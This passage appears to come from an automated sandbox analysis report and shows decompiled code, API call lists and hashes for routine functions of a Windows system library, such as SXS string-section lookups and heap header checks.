							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									L6A92EEF0(0x6aa079a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E6A92EB70(0, 0x6aa079a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t93 = _t104 + 0xc;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E6A94F0BF(_t104 + 0xc,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									L6A92EEF0(0x6aa079a0);
									__eflags =  *0x6aa08210 - _t104;
									if( *0x6aa08210 == _t104) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x6aa08210 = _t102;
										 *_t95 =  *((intOrPtr*)(_t102 + 0xc));
										 *((intOrPtr*)(_t95 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
										 *((intOrPtr*)(_t95 + 8)) =  *((intOrPtr*)(_t102 + 4));
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E6A994888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E6A92EB70(_t95, 0x6aa079a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E6A9595D0();
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
											_t102 = _v40;
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E6A9595D0();
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
											_t102 = _v40;
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E6A92EB70(_t93, 0x6aa079a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E6A9595D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
										_t102 = _v40;
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t102 + 4)));
										E6A9595D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E6A94F0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x6a9152a5
0x6a9152ad
0x6a9152b0
0x6a9152b3
0x6a9152b7
0x6a9152ba
0x6a9152bf
0x6a9152c4
0x6a9152cc
0x00000000
0x00000000
0x6a9152ce
0x6a9152d9
0x6a9152dd
0x6a9152e7
0x6a9152f7
0x6a9152f9
0x6a9152fd
0x6a970dcf
0x6a970dd5
0x6a970dd6
0x6a970dd7
0x6a970dd8
0x6a970dd9
0x6a970dde
0x6a970ddf
0x6a970de0
0x6a970de1
0x6a970de2
0x6a970de5
0x6a970dea
0x6a970dec
0x6a970f60
0x6a970f64
0x6a970f70
0x6a970f76
0x6a970f79
0x6a970f79
0x00000000
0x6a970f64
0x6a970df2
0x6a970df7
0x6a970e04
0x6a970e0d
0x6a970e10
0x6a970e1a
0x6a970e1c
0x6a970e4c
0x6a970e52
0x6a970e61
0x6a970e67
0x6a970e6b
0x6a970e70
0x6a970e76
0x6a970ed7
0x6a970edc
0x6a970ee0
0x6a970eea
0x6a970ef0
0x6a970ef6
0x6a970ef9
0x6a970efe
0x6a970f01
0x6a970f01
0x6a970f0b
0x6a970f12
0x6a970f16
0x6a970f18
0x6a970f1b
0x6a970f2c
0x6a970f31
0x6a970f31
0x6a970f35
0x6a970f39
0x6a970f3a
0x6a970f3c
0x6a970f3f
0x6a970f50
0x6a970f55
0x6a970f55
0x6a970f59
0x6a9152eb
0x6a9152f1
0x6a9152f1
0x6a970e7d
0x6a970e84
0x6a970e88
0x6a970e8a
0x6a970e8d
0x6a970e9e
0x6a970ea3
0x6a970ea3
0x6a970ea7
0x6a970eaf
0x6a970eb3
0x6a970eb9
0x6a970ebc
0x6a970ecd
0x6a970ecd
0x00000000
0x6a970eb3
0x6a970e21
0x6a970e2b
0x6a970e2f
0x6a970e30
0x6a970e3a
0x6a970e3f
0x6a970e41
0x00000000
0x00000000
0x6a970e47
0x00000000
0x6a970e47
0x6a970df9
0x6a970dfe
0x00000000
0x00000000
0x00000000
0x6a970dfe
0x6a915303
0x6a915307
0x00000000
0x6a915309
0x00000000
0x6a915309
0x6a915307
0x6a9152e9
0x6a9152e9
0x00000000
0x6a9152e9
0x6a91530e
0x00000000

APIs

RtlEnterCriticalSection.1105(6AA079A0,?,00000000,?), ref: 6A9152BF
RtlLeaveCriticalSection.1105(6AA079A0,6AA079A0,?,00000000,?), ref: 6A9152DD
ZwFsControlFile.1105(?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0,?,00000000,?), ref: 6A970DE5
RtlEnterCriticalSection.1105(6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0,?,00000000), ref: 6A970E6B
RtlLeaveCriticalSection.1105(6AA079A0,6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0,?), ref: 6A970E7D
ZwClose.1105(?,6AA079A0,6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0), ref: 6A970E8D
RtlFreeHeap.1105(?,00000000,?,?,6AA079A0,6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6A970E9E
ZwClose.1105(?,6AA079A0,6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0), ref: 6A970EBC
RtlFreeHeap.1105(?,00000000,6AA079A0,?,6AA079A0,6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6A970ECD

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CloseEnterFreeHeapLeave$ControlFile
String ID:
API String ID: 1928194833-0
Opcode ID: dfe9b92aee2dff75617732f97c8891fc4d40b46a92654dade0c2c5de60e9e53a
Instruction ID: ed8668c5451dddba4697536e756ce0267e91acbbee76e9e15b23a650783a7172
Opcode Fuzzy Hash: dfe9b92aee2dff75617732f97c8891fc4d40b46a92654dade0c2c5de60e9e53a
Instruction Fuzzy Hash: FF51ED71108745AFE320CF28C984B17BBE8FF64718F22491EE4A587652EF75E840C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A5F5F, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 161
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6A9A5F5F(WCHAR* __ecx, intOrPtr __edx, void** _a4) {
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v36;
				void* _v40;
				char _v44;
				char _v60;
				void* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				char _v84;
				WCHAR* _v88;
				intOrPtr _v100;
				signed int _t48;
				signed int _t54;
				int _t64;
				intOrPtr _t82;
				void* _t85;
				void* _t87;
				void* _t91;
				void* _t96;
				void* _t97;
				signed int _t100;

				_v76 = _v76 & 0x00000000;
				_t85 = 0;
				_v72 = __edx;
				if(__ecx == 0 || __edx == 0 || _a4 == 0) {
					_t48 = 0xc000000d;
					goto L26;
				} else {
					if( *__ecx == 0x5c) {
						RtlInitUnicodeString( &_v68, __ecx);
						L8:
						_v32 = _v32 & 0x00000000;
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_push(0x4021);
						_v28 =  &_v76;
						_push(7);
						_push( &_v60);
						_v36 = 0x18;
						_push( &_v36);
						_push(0x100001);
						_v24 = 0x40;
						_push( &_v84);
						_t54 = E6A959830();
						_t100 = _t54;
						if(_t85 == 0) {
							L13:
							if(_t100 >= 0) {
								_t96 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x410);
								if(_t96 != 0) {
									RtlInitUnicodeString( &_v76, _v88);
									_push(0);
									_push( &_v84);
									_push(1);
									_push(3);
									_push(0x410);
									_push(_t96);
									_push( &_v76);
									_push(0);
									_push(0);
									_push(0);
									_push(_v100);
									_t100 = E6A959850();
									if(_t100 >= 0) {
										_t64 =  *(_t96 + 0x3c);
										if(_t64 <= 0x104) {
											_t87 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t64 + 4);
											if(_t87 != 0) {
												_t39 = _t96 + 0x5e; // 0x5e
												memcpy(_t87, _t39,  *(_t96 + 0x3c));
												 *((short*)(_t87 + ( *(_t96 + 0x3c) >> 1) * 2)) = 0;
												 *_a4 = _t87;
											} else {
												_t100 = 0xc0000017;
											}
										}
									}
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t96);
								} else {
									_t100 = 0xc0000017;
								}
							}
							L22:
							if(_v84 != 0) {
								_push(_v84);
								E6A9595D0();
							}
							_t48 = _t100;
							L26:
							return _t48;
						}
						_t97 = _v40;
						if(_t97 != 0) {
							asm("lock xadd [edi], eax");
							if((_t54 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t97 + 4)));
								E6A9595D0();
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t97);
							}
						}
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t85);
						goto L13;
					}
					_push( &_v44);
					_push(0);
					_push( &_v68);
					_t91 = 2;
					_t100 = E6A9265BA(_t91, __ecx);
					if(_t100 < 0) {
						goto L22;
					} else {
						_t82 = _v44;
						_t85 = _v64;
						if(_t82 != 0) {
							_v68 = _t82;
							_v64 = _v40;
						}
						goto L8;
					}
				}
			}

0x6a9a5f6a
0x6a9a5f73
0x6a9a5f75
0x6a9a5f7c
0x6a9a6137
0x00000000
0x6a9a5f93
0x6a9a5f97
0x6a9a5fd9
0x6a9a5fde
0x6a9a5fde
0x6a9a5fe7
0x6a9a5fec
0x6a9a5ff1
0x6a9a5ff6
0x6a9a5ffe
0x6a9a6000
0x6a9a6005
0x6a9a600d
0x6a9a600e
0x6a9a6017
0x6a9a601f
0x6a9a6020
0x6a9a6025
0x6a9a6029
0x6a9a6066
0x6a9a6068
0x6a9a6084
0x6a9a6088
0x6a9a609d
0x6a9a60a8
0x6a9a60a9
0x6a9a60aa
0x6a9a60ac
0x6a9a60ae
0x6a9a60af
0x6a9a60b4
0x6a9a60b5
0x6a9a60b6
0x6a9a60b7
0x6a9a60b8
0x6a9a60c1
0x6a9a60c5
0x6a9a60c7
0x6a9a60cf
0x6a9a60e5
0x6a9a60e9
0x6a9a60f5
0x6a9a60fa
0x6a9a6109
0x6a9a6110
0x6a9a60eb
0x6a9a60eb
0x6a9a60eb
0x6a9a60e9
0x6a9a60cf
0x6a9a611e
0x6a9a608a
0x6a9a608a
0x6a9a608a
0x6a9a6088
0x6a9a6123
0x6a9a6128
0x6a9a612a
0x6a9a612e
0x6a9a612e
0x6a9a6133
0x6a9a613c
0x6a9a6142
0x6a9a6142
0x6a9a602b
0x6a9a6031
0x6a9a6036
0x6a9a603a
0x6a9a603c
0x6a9a603f
0x6a9a6050
0x6a9a6050
0x6a9a603a
0x6a9a6061
0x00000000
0x6a9a6061
0x6a9a5f9f
0x6a9a5fa0
0x6a9a5fa5
0x6a9a5fa8
0x6a9a5fae
0x6a9a5fb2
0x00000000
0x6a9a5fb8
0x6a9a5fb8
0x6a9a5fbc
0x6a9a5fc3
0x6a9a5fc5
0x6a9a5fcd
0x6a9a5fcd
0x00000000
0x6a9a5fc3
0x6a9a5fb2

APIs

RtlInitUnicodeString.1105(?,?,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 6A9A5FD9
ZwOpenFile.1105(?,00100001,?,?,00000007,00004021), ref: 6A9A6020
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6A9A603F
RtlFreeHeap.1105(?,00000000,?,00000000,?,00100001,?,?,00000007,00004021), ref: 6A9A6050
RtlFreeHeap.1105(?,00000000,00000000,?,00100001,?,?,00000007,00004021), ref: 6A9A6061
RtlAllocateHeap.1105(?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6A9A607F
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6A9A612E

Part of subcall function 6A9265BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6A9265CA

RtlInitUnicodeString.1105(?,?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6A9A609D
ZwQueryDirectoryFile.1105(?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?,00000008,00000410,?), ref: 6A9A60BC
RtlAllocateHeap.1105(?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6A9A60E0
memcpy.1105(00000000,0000005E,?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000), ref: 6A9A60FA
RtlFreeHeap.1105(?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6A9A611E

Strings

@, xrefs: 6A9A6017

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeInitStringUnicode$AllocateCloseFile$DirectoryOpenQuerymemcpy
String ID: @
API String ID: 1610808139-2766056989
Opcode ID: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction ID: d534151c52a7d9f51ff82d50dc44cb7ffba5937bed7c41fe772d7c56cb1c279e
Opcode Fuzzy Hash: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction Fuzzy Hash: 0151AAB2604705AFE711CF18C885F6ABBE8EB84714F22092EFB5097291DBB5D914CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A4A28, Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 126nativeCOMMON

Download Yara Rule

APIs

ZwOpenKey.1105(?,00000001,00000018,00000000,?,?), ref: 6A9A4AB1

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

DbgPrintEx.1105(00000033,00000000,SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx,?,00000000,?,6A8F1B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?), ref: 6A9A4ACC
ZwQueryValueKey.1105(?,6A8F1B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6A9A4AF9
DbgPrintEx.1105(00000033,00000000,SXS: Assembly storage root location value has non-even size,?,6A8F1B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6A9A4B24
DbgPrintEx.1105(00000033,00000000,SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING,?,?,6A8F1B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6A9A4B67
memcpy.1105(00000010,?,?,?,6A8F1B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6A9A4BA2
ZwClose.1105(?,00000000,?,?), ref: 6A9A4BCB

Strings

SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING, xrefs: 6A9A4B5F
@, xrefs: 6A9A4A9B
SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx, xrefs: 6A9A4B0C
SXS: Assembly storage root location value has non-even size, xrefs: 6A9A4B41
SXS: Assembly storage root location value type is not REG_SZ, xrefs: 6A9A4B1C
SXS: Unable to open storage root subkey %wZ; Status = 0x%08lx, xrefs: 6A9A4AC4

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CloseInitializeOpenQueryThunkValuememcpy
String ID: @$SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING$SXS: Assembly storage root location value has non-even size$SXS: Assembly storage root location value type is not REG_SZ$SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx$SXS: Unable to open storage root subkey %wZ; Status = 0x%08lx
API String ID: 248942162-306078230
Opcode ID: b4cd18a14b1dea8d262e18c384de5e2687edbbd4cf27267c908a80635057374d
Instruction ID: e4fd76319df25160b1d418593e7fead26ce2682d666eccefe02314e8c22b633d
Opcode Fuzzy Hash: b4cd18a14b1dea8d262e18c384de5e2687edbbd4cf27267c908a80635057374d
Instruction Fuzzy Hash: 95419972D4111DAEE7208E549C99BADB2BCEF55354F2141EBEA18A7240EF30DE85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D49A4, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 114memorynativeCOMMON

Download Yara Rule

APIs

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6A9D44B7,?), ref: 6A9D49DF

Part of subcall function 6A959660: LdrInitializeThunk.NTDLL(6A9A18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6A9F0810,0000001C,6A9A1616), ref: 6A95966A

RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6A9D44B7,?), ref: 6A9D49FE
memcpy.1105(01000000,?,?,00000000,?,00000000,?,?,6A9D44B7,?), ref: 6A9D4A0C
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6A9D4A42
DbgPrint.1105(HEAP: ,?), ref: 6A9D4A4F
DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6A9D4A66
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?), ref: 6A9D4ABC
DbgPrint.1105(HEAP: ,?,?,?,?,?,?), ref: 6A9D4AC9
DbgPrint.1105( This is located in the %s field of the heap header.,?,?,?,?,?,?), ref: 6A9D4ADB

Strings

HEAP: , xrefs: 6A9D4A4A, 6A9D4A5D, 6A9D4A5F, 6A9D4AC4
This is located in the %s field of the heap header., xrefs: 6A9D4AD6
HEAP[%wZ]: , xrefs: 6A9D4A3D, 6A9D4AB7
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 6A9D4A61

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateCompareInitializeThunkVirtualmemcpy
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 4107597528-336120773
Opcode ID: de4dce9876d7e6d5bac98e8ae2eb2bf024309f42c17bcf15a68ef7af5fb2653d
Instruction ID: 7c6e905da06963ebdad20dbd4f742671f141e4c840ec434de57029528597294f
Opcode Fuzzy Hash: de4dce9876d7e6d5bac98e8ae2eb2bf024309f42c17bcf15a68ef7af5fb2653d
Instruction Fuzzy Hash: 5A31FF31204909AFD710EB98C888F5673B8EF45764F328566F514DB262DF70E8C0CAA9

Uniqueness

Uniqueness Score: -1.00%

Function 6A933360, Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 355
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6A933360(signed short* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr* _a8, unsigned int _a12, void* _a16) {
				signed int _v8;
				void _v32;
				char _v33;
				void* _v40;
				signed short* _v44;
				struct _EXCEPTION_RECORD _v48;
				char _v52;
				intOrPtr _v56;
				short _v58;
				void* _v60;
				signed short _v64;
				unsigned int _v68;
				intOrPtr _v72;
				void* _v76;
				intOrPtr* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t144;
				short _t165;
				void _t171;
				signed int _t173;
				void* _t177;
				void _t178;
				short _t181;
				void _t187;
				signed short* _t193;
				signed int _t198;
				signed int _t199;
				void* _t200;
				signed int _t206;
				signed short _t207;
				signed short _t208;
				signed char _t220;
				char _t221;
				intOrPtr* _t223;
				signed int _t225;
				void* _t226;
				signed int _t228;
				unsigned int _t229;
				signed short* _t231;
				void* _t233;
				signed int _t235;
				signed int _t237;
				void* _t238;

				_v8 =  *0x6aa0d360 ^ _t237;
				_t193 = __ecx;
				_v48 = _a4;
				_t233 = _a16;
				_t229 = _a12;
				_v72 = __edx;
				_v44 = __ecx;
				_v80 = _a8;
				_v68 = _t229;
				_v40 = _t233;
				_v33 = 1;
				if((__ecx[8] & 0x00000001) == 0) {
					_t220 = 0;
				} else {
					_t220 = 1;
				}
				_v52 = _t220;
				if( *_t193 != 0x64487353) {
					L71:
					_t140 = 0xc0150003;
					goto L32;
				} else {
					if(_t193[0xa] == 0) {
						L31:
						_t140 = 0xc0150008;
						goto L32;
					} else {
						_t198 = _t193[0xe];
						if(_t198 == 0xffffffff) {
							_t221 = 0;
							goto L21;
						} else {
							if( *_t229 == _t198) {
								L20:
								_t221 = _v33;
								goto L21;
							} else {
								_t187 = 0;
								if(_v48 == 0 || _t233 == 0) {
									_t140 = 0xc000000d;
									goto L18;
								} else {
									_t231 = _v48;
									_t193 = _t231[2];
									 *_t233 = 0;
									_t229 = ( *_t231 & 0x0000ffff) >> 1;
									if(_t198 > 1) {
										L65:
										if(E6A92FAB0(_t198, _v48, _v52, 0,  &_v76) < 0) {
											goto L32;
										} else {
											_t193 = _v44;
											E6A9A5720(0x33, 0, "RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.\n", _t193[0xe]);
											_t238 = _t238 + 0x10;
											_t221 = 0;
											L21:
											_v33 = _t221;
											if(_t193[4] != 1) {
												_t220 = 0;
											}
											_t199 = _t193[0x10];
											asm("sbb al, al");
											if((_t220 &  ~_t199) == 0) {
												if(_t220 == 0 || (_t193[8] & 0x00000002) == 0) {
													_t229 = _v44;
													_t193 = _t193[0xc] + _t229;
													_t233 =  *(_t229 + 0x14);
													if(_t233 != 0) {
														_t200 = _v40;
														do {
															_t144 = _t193[4];
															_v60 = _t144;
															_v58 = _t144;
															_v56 = _t193[2] + _t229;
															if(_t220 == 0 ||  *_t193 ==  *_t200) {
																if(RtlCompareUnicodeString(_v48,  &_v60, _v52) == 0) {
																	goto L52;
																} else {
																	_t220 = _v33;
																	_t200 = _v40;
																	goto L81;
																}
															} else {
																goto L81;
															}
															goto L83;
															L81:
															_t193 =  &(_t193[0xc]);
															_t233 = _t233 - 1;
														} while (_t233 != 0);
													}
													goto L31;
												} else {
													_t205 = _t193[0xa];
													_t233 = _t193 + _t193[0xc];
													_t65 = _t205 - 1; // -1
													_t229 = _t233 + (_t65 + _t65 * 2) * 8;
													_v32 =  *_v40;
													_t193 = bsearch( &_v32, _t233, _t193[0xa], 0x18, 0x6a948c30);
													if(_t193 == 0) {
														goto L31;
													} else {
														if(_t193 != _t233) {
															_t171 =  *_v40;
															while( *_t193 == _t171) {
																_t193 = _t193 - 0x18;
																if(_t193 != _t233) {
																	continue;
																}
																goto L42;
															}
														}
														L42:
														_t233 =  *_v40;
														if( *_t193 != _t233) {
															_t193 =  &(_t193[0xc]);
														}
														while(1) {
															_t165 = _t193[4];
															_v60 = _t165;
															_v58 = _t165;
															_v56 = _v44 + _t193[2];
															if(RtlCompareUnicodeString(_v48,  &_v60, _v52) == 0) {
																break;
															}
															_t193 =  &(_t193[0xc]);
															if(_t193 > _t229) {
																goto L31;
															} else {
																if( *_t193 == _t233) {
																	continue;
																} else {
																	break;
																}
															}
															goto L83;
														}
														if(_t193 > _t229) {
															goto L31;
														} else {
															if( *_t193 == _t233) {
																goto L51;
															} else {
																goto L31;
															}
														}
													}
												}
											} else {
												_t233 = _t193 + _t199;
												_t206 =  *_v40;
												_t173 = _t206;
												_v68 = _t206;
												if( *_t233 != 0xb) {
													_t225 = _t173 %  *_t233;
												} else {
													_t225 = _t173 % 0xb;
												}
												_t41 = _t233 + 4; // 0x1cc
												_t229 = 0;
												_v40 = _t225;
												_t226 =  *_t41 + _t225 * 8;
												_t220 = _t226 + _t193;
												_t177 =  *((intOrPtr*)(_t226 +  &(_t193[2]))) + _t193;
												_v64 = _t220;
												_v76 = _t177;
												if( *_t220 <= 0) {
													goto L31;
												} else {
													_t233 = _t177;
													while(1) {
														_t178 =  *_t233;
														if(_t178 > _v72) {
															break;
														}
														_t193 = _t193 + _t178;
														if(_v33 == 0 ||  *_t193 == _t206) {
															_t207 = _t193[2];
															if(_t207 > _v72) {
																_push(_v76);
																_push(_t220);
																_push(_v40);
																_push(_v44);
																_push(_t207);
																E6A9A5720(0x33, 0, "SXS: String hash table entry at %p has invalid key offset (= %ld)\n   Header = %p; Index = %lu; Bucket = %p; Chain = %p\n", _t193);
																_t140 = 0xc0150003;
																goto L32;
															} else {
																_t181 = _t193[4];
																_v60 = _t181;
																_v58 = _t181;
																_v56 = _v44 + _t207;
																if(RtlCompareUnicodeString(_v48,  &_v60, _v52) != 0) {
																	_t206 = _v68;
																	_t220 = _v64;
																	goto L30;
																} else {
																	L51:
																	_t229 = _v44;
																	L52:
																	if(_t193 == 0 || _t193[6] == 0) {
																		goto L31;
																	} else {
																		_t223 = _v80;
																		if(_t223 != 0) {
																			 *((intOrPtr*)(_t223 + 4)) =  *((intOrPtr*)(_t229 + 0xc));
																			 *((intOrPtr*)(_t223 + 8)) = _t193[6] + _t229;
																			 *(_t223 + 0xc) = _t193[8];
																			if(_t223 + 0x28 <=  *_t223 + _t223) {
																				 *(_t223 + 0x24) = _t193[0xa];
																			}
																		}
																		return E6A95B640(0, _t193, _v8 ^ _t237, _t223, _t229, _t233);
																	}
																}
															}
														} else {
															L30:
															_t193 = _v44;
															_t229 = _t229 + 1;
															_t233 = _t233 + 4;
															if(_t229 <  *_t220) {
																continue;
															} else {
																goto L31;
															}
														}
														goto L83;
													}
													_push(_t178);
													E6A9A5720(0x33, 0, "SXS: String hash collision chain offset at %p (= %ld) out of bounds\n", _t233);
													goto L71;
												}
											}
										}
									} else {
										if(_t220 == 0) {
											if(_t229 != 0) {
												do {
													_t198 =  *_t193 & 0x0000ffff;
													_t193 =  &(_t193[1]);
													_t187 = _t187 * 0x1003f + _t198;
													_t229 = _t229 - 1;
												} while (_t229 != 0);
											}
										} else {
											if(_t229 != 0) {
												_t220 =  *0x6aa06d5c;
												do {
													_t208 =  *_t193 & 0x0000ffff;
													_t193 =  &(_t193[1]);
													_t229 = _t229 - 1;
													_v64 = _t208;
													if(_t208 < 0x61) {
														L34:
														_t198 = _t208 & 0x0000ffff;
													} else {
														if(_t208 > 0x7a) {
															_t235 = _t208 & 0x0000ffff;
															_t228 = ( *(_t220 + (_t235 >> 8) * 2) & 0x0000ffff) + (_t235 >> 0x00000004 & 0x0000000f);
															_t220 =  *0x6aa06d5c;
															_t208 =  *((intOrPtr*)(_t220 + (( *( *0x6aa06d5c + _t228 * 2) & 0x0000ffff) + (_t235 & 0x0000000f)) * 2)) + _v64;
															goto L34;
														} else {
															_t198 = (_t208 & 0x0000ffff) - 0x20;
														}
													}
													_t187 = _t187 * 0x1003f + _t198;
												} while (_t229 != 0);
												_t233 = _v40;
											}
										}
										_t193 = _v44;
										_t229 = _v68;
										 *_t233 = _t187;
										_t140 = 0;
										L18:
